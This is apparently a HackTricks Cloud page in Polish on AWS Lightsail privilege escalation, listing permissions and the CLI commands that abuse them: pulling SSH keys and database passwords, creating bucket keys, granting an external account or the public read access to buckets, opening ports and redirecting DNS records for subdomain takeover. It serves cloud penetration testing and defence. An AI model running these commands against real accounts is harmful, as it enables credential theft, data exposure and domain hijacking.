AWS - Lightsail Privesc
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
Lightsail
Aby uzyskać więcej informacji o Lightsail zobacz:
Warning
Należy pamiętać, że Lightsail nie używa IAM roles należących do użytkownika lecz do AWS managed account, więc nie możesz wykorzystać tej usługi do privesc. Jednak wrażliwe dane takie jak code, API keys i database info mogą zostać znalezione w tej usłudze.
lightsail:DownloadDefaultKeyPair
To uprawnienie pozwoli pobrać SSH keys służące do dostępu do instancji:
aws lightsail download-default-key-pair
Potencjalny wpływ: Znalezienie wrażliwych informacji wewnątrz instancji.
lightsail:GetInstanceAccessDetails
To uprawnienie umożliwi wygenerowanie kluczy SSH, aby uzyskać dostęp do instancji:
aws lightsail get-instance-access-details --instance-name <instance_name>
Potencjalny wpływ: Znalezienie wrażliwych informacji wewnątrz instancji.
lightsail:CreateBucketAccessKey
To uprawnienie pozwala uzyskać klucz umożliwiający dostęp do bucketu:
aws lightsail create-bucket-access-key --bucket-name <name>
Potencjalny wpływ: Znalezienie wrażliwych informacji wewnątrz bucket.
lightsail:GetRelationalDatabaseMasterUserPassword
To uprawnienie pozwoli ci pobrać poświadczenia umożliwiające dostęp do bazy danych:
aws lightsail get-relational-database-master-user-password --relational-database-name <name>
Potencjalny wpływ: Znalezienie poufnych informacji w bazie danych.
lightsail:UpdateRelationalDatabase
To uprawnienie pozwoli ci zmienić hasło dostępu do bazy danych:
aws lightsail update-relational-database --relational-database-name <name> --master-user-password <strong_new_password>
Jeśli baza danych nie jest publiczna, możesz także uczynić ją publiczną, nadając te uprawnienia:
aws lightsail update-relational-database --relational-database-name <name> --publicly-accessible
Potencjalny wpływ: Znalezienie wrażliwych informacji w bazie danych.
lightsail:OpenInstancePublicPorts
To uprawnienie pozwala na otwarcie portów do Internetu
aws lightsail open-instance-public-ports \
--instance-name MEAN-2 \
--port-info fromPort=22,protocol=TCP,toPort=22
Potencjalny wpływ: Dostęp do wrażliwych portów.
lightsail:PutInstancePublicPorts
To uprawnienie pozwala otworzyć porty do Internetu. Zwróć uwagę, że wywołanie zamknie wszystkie otwarte porty, które nie są w nim wyspecyfikowane.
aws lightsail put-instance-public-ports \
--instance-name MEAN-2 \
--port-infos fromPort=22,protocol=TCP,toPort=22
Potencjalny wpływ: Dostęp do wrażliwych portów.
lightsail:SetResourceAccessForBucket
To uprawnienie pozwala nadać instancjom dostęp do bucketu bez dodatkowych poświadczeń.
aws set-resource-access-for-bucket \
--resource-name <instance-name> \
--bucket-name <bucket-name> \
--access allow
Potencjalny wpływ: Nowy dostęp do buckets zawierających wrażliwe informacje.
lightsail:UpdateBucket
Dzięki temu uprawnieniu atakujący mógłby przyznać swojemu kontu AWS dostęp do odczytu do buckets lub nawet uczynić buckets publicznymi dla wszystkich:
# Grant read access to exterenal account
aws update-bucket --bucket-name <value> --readonly-access-accounts <external_account>
# Grant read to the public
aws update-bucket --bucket-name <value> --access-rules getObject=public,allowPublicOverrides=true
# Bucket private but single objects can be public
aws update-bucket --bucket-name <value> --access-rules getObject=private,allowPublicOverrides=true
Potential Impact: Potencjalny nowy dostęp do buckets z poufnymi informacjami.
lightsail:UpdateContainerService
Dzięki tym uprawnieniom atakujący mógłby przyznać dostęp do prywatnych ECRs z containers service
aws update-container-service \
--service-name <name> \
--private-registry-access ecrImagePullerRole={isActive=boolean}
Potential Impact: Uzyskanie wrażliwych informacji z prywatnego ECR
lightsail:CreateDomainEntry
Atakujący posiadający to uprawnienie może utworzyć subdomenę i wskazać ją na swój adres IP (subdomain takeover), albo skonfigurować rekord SPF, który pozwoli mu na spoof emails z domeny, a nawet ustawić główną domenę na swój adres IP.
aws lightsail create-domain-entry \
--domain-name example.com \
--domain-entry name=dev.example.com,type=A,target=192.0.2.0
Potencjalny wpływ: Przejęcie domeny
lightsail:UpdateDomainEntry
Atakujący z tym uprawnieniem mógłby utworzyć subdomenę i wskazać ją na swój adres IP (subdomain takeover), albo stworzyć rekord SPF, który pozwoli mu podszywać się pod adresy e-mail z tej domeny, a nawet ustawić główną domenę na swój adres IP.
aws lightsail update-domain-entry \
--domain-name example.com \
--domain-entry name=dev.example.com,type=A,target=192.0.2.0
Potencjalny wpływ: Przejęcie domeny
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
HackTricks Cloud

